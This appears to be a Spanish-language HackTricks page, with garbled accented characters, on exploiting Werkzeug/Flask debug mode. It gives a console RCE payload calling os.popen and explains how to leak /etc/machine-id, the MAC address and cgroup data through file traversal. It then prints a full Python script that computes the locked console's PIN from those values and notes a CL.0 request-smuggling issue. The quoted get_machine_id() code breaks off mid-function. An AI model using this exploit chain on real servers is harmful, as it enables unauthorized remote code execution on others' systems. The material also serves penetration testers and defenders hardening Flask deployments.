Werkzeug / Flask Debug
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Consola RCE
Si el modo de depuraci贸n est谩 activo, podr铆as intentar acceder a /console
y obtener RCE.
__import__('os').popen('whoami').read();
Tambi茅n hay varios exploits en internet como este o uno en metasploit.
Protecci贸n por PIN - Traversal de Ruta
En algunas ocasiones, el endpoint /console
estar谩 protegido por un pin. Si tienes una vulnerabilidad de traversal de archivos, puedes filtrar toda la informaci贸n necesaria para generar ese pin.
Exploit de PIN de la Consola de Werkzeug
Forzar una p谩gina de error de depuraci贸n en la aplicaci贸n para ver esto:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
Un mensaje sobre el escenario "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuraci贸n de Werkzeug, indicando un requisito de un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generaci贸n de PIN en el archivo de inicializaci贸n de depuraci贸n de Werkzeug (__init__.py
). El mecanismo de generaci贸n de PIN se puede estudiar en el repositorio de c贸digo fuente de Werkzeug, aunque se aconseja obtener el c贸digo del servidor real a trav茅s de una vulnerabilidad de recorrido de archivos debido a posibles discrepancias de versi贸n.
Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, probably_public_bits
y private_bits
:
probably_public_bits
username
: Se refiere al usuario que inici贸 la sesi贸n de Flask.modname
: T铆picamente designado comoflask.app
.getattr(app, '__name__', getattr(app.__class__, '__name__'))
: Generalmente se resuelve en Flask.getattr(mod, '__file__', None)
: Representa la ruta completa aapp.py
dentro del directorio de Flask (por ejemplo,/usr/local/lib/python3.5/dist-packages/flask/app.py
). Siapp.py
no es aplicable, intentaapp.pyc
.
private_bits
-
uuid.getnode()
: Obtiene la direcci贸n MAC de la m谩quina actual, constr(uuid.getnode())
traduci茅ndola a un formato decimal. -
Para determinar la direcci贸n MAC del servidor, se debe identificar la interfaz de red activa utilizada por la aplicaci贸n (por ejemplo,
ens3
). En casos de incertidumbre, filtra/proc/net/arp
para encontrar el ID del dispositivo, luego extrae la direcci贸n MAC de/sys/class/net/<device id>/address
. -
La conversi贸n de una direcci贸n MAC hexadecimal a decimal se puede realizar como se muestra a continuaci贸n:
# Ejemplo de direcci贸n MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
: Concatena datos de/etc/machine-id
o/proc/sys/kernel/random/boot_id
con la primera l铆nea de/proc/self/cgroup
despu茅s de la 煤ltima barra (/
).
C贸digo para `get_machine_id()`
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
Al compilar todos los datos necesarios, se puede ejecutar el script de explotaci贸n para generar el PIN de la consola de Werkzeug:
Al compilar todos los datos necesarios, se puede ejecutar el script de explotaci贸n para generar el PIN de la consola de Werkzeug. El script utiliza los probably_public_bits
y private_bits
ensamblados para crear un hash, que luego se somete a un procesamiento adicional para producir el PIN final. A continuaci贸n se muestra el c贸digo de Python para ejecutar este proceso:
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Este script produce el PIN al hashear los bits concatenados, agregar sales espec铆ficas (cookiesalt
y pinsalt
), y formatear la salida. Es importante notar que los valores reales de probably_public_bits
y private_bits
deben obtenerse con precisi贸n del sistema objetivo para asegurar que el PIN generado coincida con el esperado por la consola de Werkzeug.
tip
Si est谩s en una versi贸n antigua de Werkzeug, intenta cambiar el algoritmo de hashing a md5 en lugar de sha1.
Caracteres Unicode de Werkzeug
Como se observ贸 en este problema, Werkzeug no cierra una solicitud con caracteres Unicode en los encabezados. Y como se explic贸 en este informe, esto podr铆a causar una vulnerabilidad de CL.0 Request Smuggling.
Esto se debe a que, en Werkzeug, es posible enviar algunos caracteres Unicode y har谩 que el servidor se rompa. Sin embargo, si la conexi贸n HTTP se cre贸 con el encabezado Connection: keep-alive
, el cuerpo de la solicitud no ser谩 le铆do y la conexi贸n seguir谩 abierta, por lo que el cuerpo de la solicitud se tratar谩 como la siguiente solicitud HTTP.
Explotaci贸n Automatizada
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
Referencias
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.